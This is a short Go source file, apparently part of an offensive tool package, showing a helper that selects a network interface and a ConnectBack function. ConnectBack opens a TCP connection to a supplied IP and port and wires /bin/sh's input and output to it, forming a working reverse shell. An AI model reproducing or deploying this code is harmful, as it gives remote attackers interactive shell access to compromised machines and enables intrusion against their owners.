31 lines
640 B
Go
31 lines
640 B
Go
package spec
|
|
|
|
import (
|
|
"net"
|
|
"os/exec"
|
|
)
|
|
|
|
func GetAdapter() string {
|
|
inetReturn := ""
|
|
inetInterfaces, _ := net.Interfaces()
|
|
if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback
|
|
inetReturn = inetInterfaces[1].Name
|
|
} else {
|
|
inetReturn = inetInterfaces[0].Name
|
|
}
|
|
return inetReturn
|
|
}
|
|
|
|
func ConnectBack(ip string, connectbackPort string) {
|
|
addr := net.JoinHostPort(ip, connectbackPort)
|
|
conn, err := net.Dial("tcp", addr)
|
|
if err != nil {
|
|
// TODO: figure out error handling
|
|
return
|
|
}
|
|
cmd := exec.Command("/bin/sh")
|
|
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
|
|
cmd.Run()
|
|
conn.Close()
|
|
}
|